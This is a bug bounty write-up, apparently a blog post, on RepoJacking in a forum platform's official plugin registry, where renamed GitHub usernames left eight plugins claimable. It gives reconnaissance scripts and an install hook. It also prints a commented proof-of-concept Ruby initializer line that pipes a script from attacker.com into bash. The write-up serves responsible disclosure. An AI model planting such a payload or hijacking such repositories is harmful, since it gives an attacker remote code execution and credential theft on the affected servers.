August 9, 2026
RepoJacking: How 5 Unclaimed GitHub Usernames Enabled RCE on Self-Hosted Servers
How I used a 3-line bash script to find 8 backdoorable plugins in an official plugin registry — and why this attack requires zero exploits.

By tushar
4 min read
TL;DR
A major open-source forum platform maintains an official third-party plugin registry. Five GitHub usernames listed in that registry had been renamed by their owners — leaving the old usernames freely claimable by anyone. Eight plugins across these five accounts were still listed as official. Any self-hosted server admin installing these plugins would silently clone attacker-controlled code, which executes automatically during server rebuild. I registered one username as PoC, intercepted the redirect, and confirmed the attack chain. Reported via HackerOne. Triaged. Fix developed.
Background — What Is RepoJacking?
When a GitHub user renames their account, GitHub creates a temporary 301 redirect from the old URL to the new one. But the old username immediately becomes available for re-registration — first come, first served.
If any official documentation, registry, or installer still references the old username, an attacker can register it, recreate the repository with malicious code, and silently intercept all traffic to that URL.
This is RepoJacking — and it's been paid out across multiple major programs including Twitter/X and RubyGems.
Discovery — The BLH Methodology
I use a supply chain hunting methodology I call BLH (Broken Link Hijacking). The core idea: organizations maintain registries, documentation, and installers that reference external resources — and sometimes those resources become unclaimed over time.
Target: an official third-party plugin registry file maintained by the organization on GitHub.
Step 1 — Clone the registry:
git clone --depth=1 https://github.com/[target]/all-the-pluginsgit clone --depth=1 https://github.com/[target]/all-the-pluginsStep 2 — Extract all referenced usernames:
grep -oP '^[^/]+' third-party.txt | sort -u > usernames.txtgrep -oP '^[^/]+' third-party.txt | sort -u > usernames.txtStep 3 — Check each username against GitHub API:
while read username; do
status=$(curl -sI "https://github.com/$username" | grep HTTP | awk '{print $2}')
echo "$username: $status"
done < usernames.txt | grep 404while read username; do
status=$(curl -sI "https://github.com/$username" | grep HTTP | awk '{print $2}')
echo "$username: $status"
done < usernames.txt | grep 404Output — 5 usernames returning HTTP/2 404:
Toxuru: 404
HMSAB: 404
iunctis: 404
Wolftallemo: 404
CambridgeDigitalBibleResearch: 404Toxuru: 404
HMSAB: 404
iunctis: 404
Wolftallemo: 404
CambridgeDigitalBibleResearch: 404
Five unclaimed usernames. Eight plugins. All listed as official.
Confirming the Attack Surface
Step 4 — Verify usernames are freely registerable:
curl -s "https://api.github.com/users/Toxuru"
# {"message":"Not Found"} — freely registerablecurl -s "https://api.github.com/users/Toxuru"
# {"message":"Not Found"} — freely registerableStep 5 — Confirm repositories still redirect:
for plugin in \
"Toxuru/discourse-sidebar-categories" \
"HMSAB/discourse-email-extraction" \
"iunctis/discourse-formatting-toolbar" \
"Wolftallemo/discourse-gcs-helper" \
"CambridgeDigitalBibleResearch/discourse-small-caps"; do
echo "--- $plugin ---"
curl -sI "https://github.com/$plugin" | grep -E "HTTP|location"
donefor plugin in \
"Toxuru/discourse-sidebar-categories" \
"HMSAB/discourse-email-extraction" \
"iunctis/discourse-formatting-toolbar" \
"Wolftallemo/discourse-gcs-helper" \
"CambridgeDigitalBibleResearch/discourse-small-caps"; do
echo "--- $plugin ---"
curl -sI "https://github.com/$plugin" | grep -E "HTTP|location"
doneOutput:
--- Toxuru/discourse-sidebar-categories ---
HTTP/2 301
location: https://github.com/evgip/discourse-sidebar-categories
--- HMSAB/discourse-email-extraction ---
HTTP/2 301
location: https://github.com/hms-networks/discourse-email-extraction
--- iunctis/discourse-formatting-toolbar ---
HTTP/2 301
location: https://github.com/MonDiscourse/discourse-formatting-toolbar
--- Wolftallemo/discourse-gcs-helper ---
HTTP/2 301
location: https://github.com/Regalijan/discourse-gcs-helper
--- CambridgeDigitalBibleResearch/discourse-small-caps ---
HTTP/2 301
location: https://github.com/Scriptura-org/discourse-small-caps--- Toxuru/discourse-sidebar-categories ---
HTTP/2 301
location: https://github.com/evgip/discourse-sidebar-categories
--- HMSAB/discourse-email-extraction ---
HTTP/2 301
location: https://github.com/hms-networks/discourse-email-extraction
--- iunctis/discourse-formatting-toolbar ---
HTTP/2 301
location: https://github.com/MonDiscourse/discourse-formatting-toolbar
--- Wolftallemo/discourse-gcs-helper ---
HTTP/2 301
location: https://github.com/Regalijan/discourse-gcs-helper
--- CambridgeDigitalBibleResearch/discourse-small-caps ---
HTTP/2 301
location: https://github.com/Scriptura-org/discourse-small-caps
All five repositories redirect to renamed accounts — confirming the old usernames are unprotected.
Why This Leads to RCE
Plugins are installed by adding a git clone command to the server configuration and running a rebuild command:
hooks:
after_code:
- exec:
cmd:
- git clone https://github.com/Toxuru/discourse-sidebar-categories \
/var/www/discourse/plugins/discourse-sidebar-categorieshooks:
after_code:
- exec:
cmd:
- git clone https://github.com/Toxuru/discourse-sidebar-categories \
/var/www/discourse/plugins/discourse-sidebar-categoriesDuring rebuild, the server clones the repository. Any Ruby code placed in config/initializers/ executes automatically with server process privileges.
Simulated malicious payload — NOT executed:
# config/initializers/poc.rb
# system("curl -s https://attacker.com/shell.sh | bash")
# — Full server compromise# config/initializers/poc.rb
# system("curl -s https://attacker.com/shell.sh | bash")
# — Full server compromiseNo exploit. No CVE. Just a free GitHub registration
Proof of Concept
I registered the Toxuru username and created the discourse-sidebar-categories repository with a responsible disclosure notice only — no malicious code.
Redirect intercepted:
curl -sI https://github.com/Toxuru/discourse-sidebar-categories | grep HTTP
# HTTP/2 200curl -sI https://github.com/Toxuru/discourse-sidebar-categories | grep HTTP
# HTTP/2 200Before PoC: HTTP/2 301 → evgip/discourse-sidebar-categories After PoC: HTTP/2 200 → my repository
Any server admin cloning this plugin would now receive my repository instead of the original.
Impact
What an attacker can do:
Any self-hosted server administrator who installs one of the 8 affected plugins executes attacker-controlled Ruby code on their server during rebuild. Impact includes full database read, admin credential extraction, persistent backdoor, and pivot to underlying infrastructure.
Scope: 8 plugins across 5 usernames, all listed as official in the maintained registry. Attack is completely silent — no warning during git clone or rebuild.
Key Takeaway
RepoJacking scales silently. No vulnerability in the target's code. No complex exploit chain. Just stale references to usernames that no longer exist.
Official registries are trusted by definition — which is exactly what makes them valuable targets. A single unclaimed username in an official list can compromise every installation that depends on it.
The BLH methodology finds these at scale. Any maintained list of external resources is worth scanning.
I'm Tushar — 18-year-old supply chain security researcher and bug bounty hunter.
HackerOne: @cybertushar | Medium: @tushar.from.cyber